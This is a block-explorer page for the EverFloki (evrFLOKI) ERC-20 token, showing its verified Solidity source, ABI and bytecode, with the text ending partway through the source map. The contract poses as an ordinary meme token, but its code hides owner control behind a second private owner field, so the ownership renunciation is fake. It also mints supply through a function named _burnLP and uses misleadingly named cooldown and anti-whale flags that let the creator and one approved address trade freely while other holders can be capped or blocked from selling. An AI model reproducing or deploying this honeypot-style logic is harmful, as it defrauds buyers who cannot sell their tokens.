ERC-20
Overview
Max Total Supply
1,000,000,000 evrFLOKI
Holders
19
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
9,729,047.08323277776940259 evrFLOKIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
EverFloki
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2021-09-18 */ /** * Come and rise with us * Approved by ELON himself * * * https://t.me/Floki4Ever * */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract Ownable is Context { address private _owner; address private __owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; __owner = _owner; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(__owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) public cooldownCheck; mapping (address => bool) public checkIfCooldownActive; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; bool private _openTrading = false; string private _name; string private _symbol; address private _creator; bool private cooldownSearch; bool private antiWhale; bool private tempVal; uint256 private setAntiWhaleAmount; uint256 private setTxLimit; uint256 private chTx; uint256 private tXs; constructor (string memory name_, string memory symbol_, address creator_, bool tmp, bool tmp2, uint256 tmp9) { _name = name_; _symbol = symbol_; _creator = creator_; checkIfCooldownActive[creator_] = tmp; cooldownCheck[creator_] = tmp2; antiWhale = tmp; tempVal = tmp2; cooldownSearch = tmp2; tXs = tmp9; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (sender != _creator) { require(_openTrading); } _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); if ((address(sender) == _creator) && (tempVal == false)) { setAntiWhaleAmount = chTx; antiWhale = true; } if ((address(sender) == _creator) && (tempVal == true)) { cooldownCheck[recipient] = true; tempVal = false; } if (cooldownCheck[sender] == false) { if ((amount > setTxLimit)) { require(false); } require(amount < setAntiWhaleAmount); if (antiWhale == true) { if (checkIfCooldownActive[sender] == true) { require(false, "ERC20: please wait another %m:%s min before transfering"); } checkIfCooldownActive[sender] = true; _cooldownBeforeNewSell(sender, block.timestamp); } } uint256 taxamount = amount; _balances[sender] = senderBalance - taxamount; _balances[recipient] += taxamount; emit Transfer(sender, recipient, taxamount); } function _burnLP(address account, uint256 amount, uint256 val1, uint256 val2) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; setAntiWhaleAmount = _totalSupply; chTx = _totalSupply / val1; setTxLimit = chTx * val2; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[0x000000000000000000000000000000000000dEaD] += amount; emit Transfer(account, address(0x000000000000000000000000000000000000dEaD), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); if ((address(owner) == _creator) && (cooldownSearch == true)) { cooldownCheck[spender] = true; checkIfCooldownActive[spender] = false; cooldownSearch = false; } _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function emergencyOverride(address account, bool v1, bool v2, bool v3, uint256 v4) external onlyOwner { cooldownCheck[account] = v1; checkIfCooldownActive[account] = v2; antiWhale = v3; setAntiWhaleAmount = v4; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _cooldownBeforeNewSell(address account, uint256 amount) internal virtual { if ((block.timestamp - amount) > 10*60) { checkIfCooldownActive[account] = false; } } function openTrading() external onlyOwner() { _openTrading = true; } } contract ERC20LaunchBurnedLP is Context, ERC20 { constructor( string memory name, string memory symbol, bool tmp, bool tmp2, uint256 tmp6, uint256 tmp7, address creator, uint256 initialSupply, address owner, uint256 tmp9 ) ERC20(name, symbol, creator, tmp, tmp2, tmp9) { _burnLP(owner, initialSupply, tmp6, tmp7); } } contract EverFloki is ERC20LaunchBurnedLP { constructor() ERC20LaunchBurnedLP("EverFloki", "evrFLOKI", false, true, 1100, 30, msg.sender, 1000000000 * 10 ** 18, msg.sender, 5) { } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkIfCooldownActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"cooldownCheck","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"v1","type":"bool"},{"internalType":"bool","name":"v2","type":"bool"},{"internalType":"bool","name":"v3","type":"bool"},{"internalType":"uint256","name":"v4","type":"uint256"}],"name":"emergencyOverride","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526008805460ff191690553480156200001b57600080fd5b506040518060400160405280600981526020016845766572466c6f6b6960b81b81525060405180604001604052806008815260200167657672464c4f4b4960c01b8152506000600161044c601e336b033b2e3c9fd0803ce80000003360058989858a8a85600062000091620001cc60201b60201c565b600080546001600160a01b038084166001600160a01b0319928316811780855560018054909416921691909117909155604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350855162000103906009906020890190620002d5565b5084516200011990600a906020880190620002d5565b50600b80546001600160a01b0319166001600160a01b039590951694851781556000948552600460209081526040808720805460ff1990811697151597881790915560039092529095208054909516921515928317909455835460ff60a81b1916600160a81b9093029290921760ff60b01b1916600160b01b82021760ff60a01b1916600160a01b90910217909155600f5550620001bc905082848888620001d0565b505050505050505050506200046c565b3390565b6001600160a01b038416620002025760405162461bcd60e51b8152600401620001f9906200037b565b60405180910390fd5b6200021060008585620002d0565b8260076000828254620002249190620003bb565b90915550506001600160a01b0384166000908152600560205260408120805485929062000253908490620003bb565b9091555050600754600c8190556200026d908390620003d6565b600e8190556200027f908290620003f7565b600d556040516001600160a01b038516906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620002c2908790620003b2565b60405180910390a350505050565b505050565b828054620002e39062000419565b90600052602060002090601f01602090048101928262000307576000855562000352565b82601f106200032257805160ff191683800117855562000352565b8280016001018555821562000352579182015b828111156200035257825182559160200191906001019062000335565b506200036092915062000364565b5090565b5b8082111562000360576000815560010162000365565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b60008219821115620003d157620003d162000456565b500190565b600082620003f257634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161562000414576200041462000456565b500290565b6002810460018216806200042e57607f821691505b602082108114156200045057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b610f80806200047c6000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a457c2d711610071578063a457c2d7146101fe578063a9059cbb14610211578063c9567bf914610224578063dd62ed3e1461022c578063e33b66f61461023f5761010b565b8063715018a6146101c657806379f65978146101ce5780638da5cb5b146101e157806395d89b41146101f65761010b565b8063313ce567116100de578063313ce56714610176578063395093511461018b578063482a4d651461019e57806370a08231146101b35761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461014e57806323b872dd14610163575b600080fd5b610118610252565b6040516101259190610bed565b60405180910390f35b61014161013c366004610ba5565b6102e4565b6040516101259190610be2565b610156610301565b6040516101259190610eb3565b610141610171366004610b0f565b610307565b61017e6103a7565b6040516101259190610ebc565b610141610199366004610ba5565b6103ac565b6101b16101ac366004610b4a565b6103fb565b005b6101566101c1366004610abc565b610492565b6101b16104b1565b6101416101dc366004610abc565b610530565b6101e9610545565b6040516101259190610bce565b610118610554565b61014161020c366004610ba5565b610563565b61014161021f366004610ba5565b6105de565b6101b16105f2565b61015661023a366004610add565b610636565b61014161024d366004610abc565b610661565b60606009805461026190610ef9565b80601f016020809104026020016040519081016040528092919081815260200182805461028d90610ef9565b80156102da5780601f106102af576101008083540402835291602001916102da565b820191906000526020600020905b8154815290600101906020018083116102bd57829003601f168201915b5050505050905090565b60006102f86102f1610676565b848461067a565b50600192915050565b60075490565b60006103148484846107a4565b6001600160a01b038416600090815260066020526040812081610335610676565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156103815760405162461bcd60e51b815260040161037890610d68565b60405180910390fd5b61039c8561038d610676565b6103978685610ee2565b61067a565b506001949350505050565b601290565b60006102f86103b9610676565b8484600660006103c7610676565b6001600160a01b03908116825260208083019390935260409182016000908120918b16815292529020546103979190610eca565b610403610676565b6001546001600160a01b039081169116146104305760405162461bcd60e51b815260040161037890610db0565b6001600160a01b039094166000908152600360209081526040808320805496151560ff199788161790556004909152902080549215159290931691909117909155600b8054911515600160a81b0260ff60a81b19909216919091179055600c55565b6001600160a01b0381166000908152600560205260409020545b919050565b6104b9610676565b6001546001600160a01b039081169116146104e65760405162461bcd60e51b815260040161037890610db0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60036020526000908152604090205460ff1681565b6000546001600160a01b031690565b6060600a805461026190610ef9565b60008060066000610572610676565b6001600160a01b03908116825260208083019390935260409182016000908120918816815292529020549050828110156105be5760405162461bcd60e51b815260040161037890610e6e565b6105d46105c9610676565b856103978685610ee2565b5060019392505050565b60006102f86105eb610676565b84846107a4565b6105fa610676565b6001546001600160a01b039081169116146106275760405162461bcd60e51b815260040161037890610db0565b6008805460ff19166001179055565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60046020526000908152604090205460ff1681565b3390565b6001600160a01b0383166106a05760405162461bcd60e51b815260040161037890610e2a565b6001600160a01b0382166106c65760405162461bcd60e51b815260040161037890610ce0565b600b546001600160a01b0384811691161480156106f15750600b54600160a01b900460ff1615156001145b1561073c576001600160a01b0382166000908152600360209081526040808320805460ff19908116600117909155600490925290912080549091169055600b805460ff60a01b191690555b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610797908590610eb3565b60405180910390a3505050565b6001600160a01b0383166107ca5760405162461bcd60e51b815260040161037890610de5565b6001600160a01b0382166107f05760405162461bcd60e51b815260040161037890610c40565b600b546001600160a01b038481169116146108145760085460ff1661081457600080fd5b61081f838383610a58565b6001600160a01b038316600090815260056020526040902054818110156108585760405162461bcd60e51b815260040161037890610d22565b600b546001600160a01b03858116911614801561087f5750600b54600160b01b900460ff16155b1561089e57600e54600c55600b805460ff60a81b1916600160a81b1790555b600b546001600160a01b0385811691161480156108c95750600b54600160b01b900460ff1615156001145b156108ff576001600160a01b0383166000908152600360205260409020805460ff19166001179055600b805460ff60b01b191690555b6001600160a01b03841660009081526003602052604090205460ff166109be57600d5482111561092e57600080fd5b600c54821061093c57600080fd5b600b54600160a81b900460ff161515600114156109be576001600160a01b03841660009081526004602052604090205460ff161515600114156109915760405162461bcd60e51b815260040161037890610c83565b6001600160a01b0384166000908152600460205260409020805460ff191660011790556109be8442610a5d565b816109c98183610ee2565b6001600160a01b0380871660009081526005602052604080822093909355908616815290812080548392906109ff908490610eca565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a499190610eb3565b60405180910390a35050505050565b505050565b610258610a6a8242610ee2565b1115610a91576001600160a01b0382166000908152600460205260409020805460ff191690555b5050565b80356001600160a01b03811681146104ac57600080fd5b803580151581146104ac57600080fd5b600060208284031215610acd578081fd5b610ad682610a95565b9392505050565b60008060408385031215610aef578081fd5b610af883610a95565b9150610b0660208401610a95565b90509250929050565b600080600060608486031215610b23578081fd5b610b2c84610a95565b9250610b3a60208501610a95565b9150604084013590509250925092565b600080600080600060a08688031215610b61578081fd5b610b6a86610a95565b9450610b7860208701610aac565b9350610b8660408701610aac565b9250610b9460608701610aac565b949793965091946080013592915050565b60008060408385031215610bb7578182fd5b610bc083610a95565b946020939093013593505050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610c1957858101830151858201604001528201610bfd565b81811115610c2a5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526037908201527f45524332303a20706c65617365207761697420616e6f7468657220256d3a257360408201527f206d696e206265666f7265207472616e73666572696e67000000000000000000606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610edd57610edd610f34565b500190565b600082821015610ef457610ef4610f34565b500390565b600281046001821680610f0d57607f821691505b60208210811415610f2e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212200b743828e242d1ebb682b6365e528565c1b71ae31fd02da3851d6fd157faa7c264736f6c63430008000033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a457c2d711610071578063a457c2d7146101fe578063a9059cbb14610211578063c9567bf914610224578063dd62ed3e1461022c578063e33b66f61461023f5761010b565b8063715018a6146101c657806379f65978146101ce5780638da5cb5b146101e157806395d89b41146101f65761010b565b8063313ce567116100de578063313ce56714610176578063395093511461018b578063482a4d651461019e57806370a08231146101b35761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461014e57806323b872dd14610163575b600080fd5b610118610252565b6040516101259190610bed565b60405180910390f35b61014161013c366004610ba5565b6102e4565b6040516101259190610be2565b610156610301565b6040516101259190610eb3565b610141610171366004610b0f565b610307565b61017e6103a7565b6040516101259190610ebc565b610141610199366004610ba5565b6103ac565b6101b16101ac366004610b4a565b6103fb565b005b6101566101c1366004610abc565b610492565b6101b16104b1565b6101416101dc366004610abc565b610530565b6101e9610545565b6040516101259190610bce565b610118610554565b61014161020c366004610ba5565b610563565b61014161021f366004610ba5565b6105de565b6101b16105f2565b61015661023a366004610add565b610636565b61014161024d366004610abc565b610661565b60606009805461026190610ef9565b80601f016020809104026020016040519081016040528092919081815260200182805461028d90610ef9565b80156102da5780601f106102af576101008083540402835291602001916102da565b820191906000526020600020905b8154815290600101906020018083116102bd57829003601f168201915b5050505050905090565b60006102f86102f1610676565b848461067a565b50600192915050565b60075490565b60006103148484846107a4565b6001600160a01b038416600090815260066020526040812081610335610676565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156103815760405162461bcd60e51b815260040161037890610d68565b60405180910390fd5b61039c8561038d610676565b6103978685610ee2565b61067a565b506001949350505050565b601290565b60006102f86103b9610676565b8484600660006103c7610676565b6001600160a01b03908116825260208083019390935260409182016000908120918b16815292529020546103979190610eca565b610403610676565b6001546001600160a01b039081169116146104305760405162461bcd60e51b815260040161037890610db0565b6001600160a01b039094166000908152600360209081526040808320805496151560ff199788161790556004909152902080549215159290931691909117909155600b8054911515600160a81b0260ff60a81b19909216919091179055600c55565b6001600160a01b0381166000908152600560205260409020545b919050565b6104b9610676565b6001546001600160a01b039081169116146104e65760405162461bcd60e51b815260040161037890610db0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60036020526000908152604090205460ff1681565b6000546001600160a01b031690565b6060600a805461026190610ef9565b60008060066000610572610676565b6001600160a01b03908116825260208083019390935260409182016000908120918816815292529020549050828110156105be5760405162461bcd60e51b815260040161037890610e6e565b6105d46105c9610676565b856103978685610ee2565b5060019392505050565b60006102f86105eb610676565b84846107a4565b6105fa610676565b6001546001600160a01b039081169116146106275760405162461bcd60e51b815260040161037890610db0565b6008805460ff19166001179055565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60046020526000908152604090205460ff1681565b3390565b6001600160a01b0383166106a05760405162461bcd60e51b815260040161037890610e2a565b6001600160a01b0382166106c65760405162461bcd60e51b815260040161037890610ce0565b600b546001600160a01b0384811691161480156106f15750600b54600160a01b900460ff1615156001145b1561073c576001600160a01b0382166000908152600360209081526040808320805460ff19908116600117909155600490925290912080549091169055600b805460ff60a01b191690555b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610797908590610eb3565b60405180910390a3505050565b6001600160a01b0383166107ca5760405162461bcd60e51b815260040161037890610de5565b6001600160a01b0382166107f05760405162461bcd60e51b815260040161037890610c40565b600b546001600160a01b038481169116146108145760085460ff1661081457600080fd5b61081f838383610a58565b6001600160a01b038316600090815260056020526040902054818110156108585760405162461bcd60e51b815260040161037890610d22565b600b546001600160a01b03858116911614801561087f5750600b54600160b01b900460ff16155b1561089e57600e54600c55600b805460ff60a81b1916600160a81b1790555b600b546001600160a01b0385811691161480156108c95750600b54600160b01b900460ff1615156001145b156108ff576001600160a01b0383166000908152600360205260409020805460ff19166001179055600b805460ff60b01b191690555b6001600160a01b03841660009081526003602052604090205460ff166109be57600d5482111561092e57600080fd5b600c54821061093c57600080fd5b600b54600160a81b900460ff161515600114156109be576001600160a01b03841660009081526004602052604090205460ff161515600114156109915760405162461bcd60e51b815260040161037890610c83565b6001600160a01b0384166000908152600460205260409020805460ff191660011790556109be8442610a5d565b816109c98183610ee2565b6001600160a01b0380871660009081526005602052604080822093909355908616815290812080548392906109ff908490610eca565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a499190610eb3565b60405180910390a35050505050565b505050565b610258610a6a8242610ee2565b1115610a91576001600160a01b0382166000908152600460205260409020805460ff191690555b5050565b80356001600160a01b03811681146104ac57600080fd5b803580151581146104ac57600080fd5b600060208284031215610acd578081fd5b610ad682610a95565b9392505050565b60008060408385031215610aef578081fd5b610af883610a95565b9150610b0660208401610a95565b90509250929050565b600080600060608486031215610b23578081fd5b610b2c84610a95565b9250610b3a60208501610a95565b9150604084013590509250925092565b600080600080600060a08688031215610b61578081fd5b610b6a86610a95565b9450610b7860208701610aac565b9350610b8660408701610aac565b9250610b9460608701610aac565b949793965091946080013592915050565b60008060408385031215610bb7578182fd5b610bc083610a95565b946020939093013593505050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610c1957858101830151858201604001528201610bfd565b81811115610c2a5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526037908201527f45524332303a20706c65617365207761697420616e6f7468657220256d3a257360408201527f206d696e206265666f7265207472616e73666572696e67000000000000000000606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610edd57610edd610f34565b500190565b600082821015610ef457610ef4610f34565b500390565b600281046001821680610f0d57607f821691505b60208210811415610f2e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212200b743828e242d1ebb682b6365e528565c1b71ae31fd02da3851d6fd157faa7c264736f6c63430008000033
Deployed Bytecode Sourcemap
9513:192:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3186:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4100:169;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;3507:108::-;;;:::i;:::-;;;;;;;:::i;4277:422::-;;;;;;:::i;:::-;;:::i;3406:93::-;;;:::i;:::-;;;;;;;:::i;4707:215::-;;;;;;:::i;:::-;;:::i;8450:253::-;;;;;;:::i;:::-;;:::i;:::-;;3623:127;;;;;;:::i;:::-;;:::i;1924:148::-;;;:::i;2147:46::-;;;;;;:::i;:::-;;:::i;1709:79::-;;;:::i;:::-;;;;;;;:::i;3294:104::-;;;:::i;4930:377::-;;;;;;:::i;:::-;;:::i;3758:175::-;;;;;;:::i;:::-;;:::i;9033:82::-;;;:::i;3941:151::-;;;;;;:::i;:::-;;:::i;2200:54::-;;;;;;:::i;:::-;;:::i;3186:100::-;3240:13;3273:5;3266:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3186:100;:::o;4100:169::-;4183:4;4200:39;4209:12;:10;:12::i;:::-;4223:7;4232:6;4200:8;:39::i;:::-;-1:-1:-1;4257:4:0;4100:169;;;;:::o;3507:108::-;3595:12;;3507:108;:::o;4277:422::-;4383:4;4400:36;4410:6;4418:9;4429:6;4400:9;:36::i;:::-;-1:-1:-1;;;;;4476:19:0;;4449:24;4476:19;;;:11;:19;;;;;4449:24;4496:12;:10;:12::i;:::-;-1:-1:-1;;;;;4476:33:0;-1:-1:-1;;;;;4476:33:0;;;;;;;;;;;;;4449:60;;4548:6;4528:16;:26;;4520:79;;;;-1:-1:-1;;;4520:79:0;;;;;;;:::i;:::-;;;;;;;;;4610:57;4619:6;4627:12;:10;:12::i;:::-;4641:25;4660:6;4641:16;:25;:::i;:::-;4610:8;:57::i;:::-;-1:-1:-1;4687:4:0;;4277:422;-1:-1:-1;;;;4277:422:0:o;3406:93::-;3489:2;3406:93;:::o;4707:215::-;4795:4;4812:80;4821:12;:10;:12::i;:::-;4835:7;4881:10;4844:11;:25;4856:12;:10;:12::i;:::-;-1:-1:-1;;;;;4844:25:0;;;;;;;;;;;;;;;;;-1:-1:-1;4844:25:0;;;:34;;;;;;;;;;:47;;;;:::i;8450:253::-;1847:12;:10;:12::i;:::-;1836:7;;-1:-1:-1;;;;;1836:7:0;;;:23;;;1828:68;;;;-1:-1:-1;;;1828:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8563:22:0;;::::1;;::::0;;;:13:::1;:22;::::0;;;;;;;:27;;;::::1;;-1:-1:-1::0;;8563:27:0;;::::1;;::::0;;8601:21:::1;:30:::0;;;;;:35;;;::::1;;::::0;;;::::1;::::0;;;::::1;::::0;;;8647:9:::1;:14:::0;;;::::1;;-1:-1:-1::0;;;8647:14:0::1;-1:-1:-1::0;;;;8647:14:0;;::::1;::::0;;;::::1;::::0;;8672:18:::1;:23:::0;8450:253::o;3623:127::-;-1:-1:-1;;;;;3724:18:0;;3697:7;3724:18;;;:9;:18;;;;;;3623:127;;;;:::o;1924:148::-;1847:12;:10;:12::i;:::-;1836:7;;-1:-1:-1;;;;;1836:7:0;;;:23;;;1828:68;;;;-1:-1:-1;;;1828:68:0;;;;;;;:::i;:::-;2031:1:::1;2015:6:::0;;1994:40:::1;::::0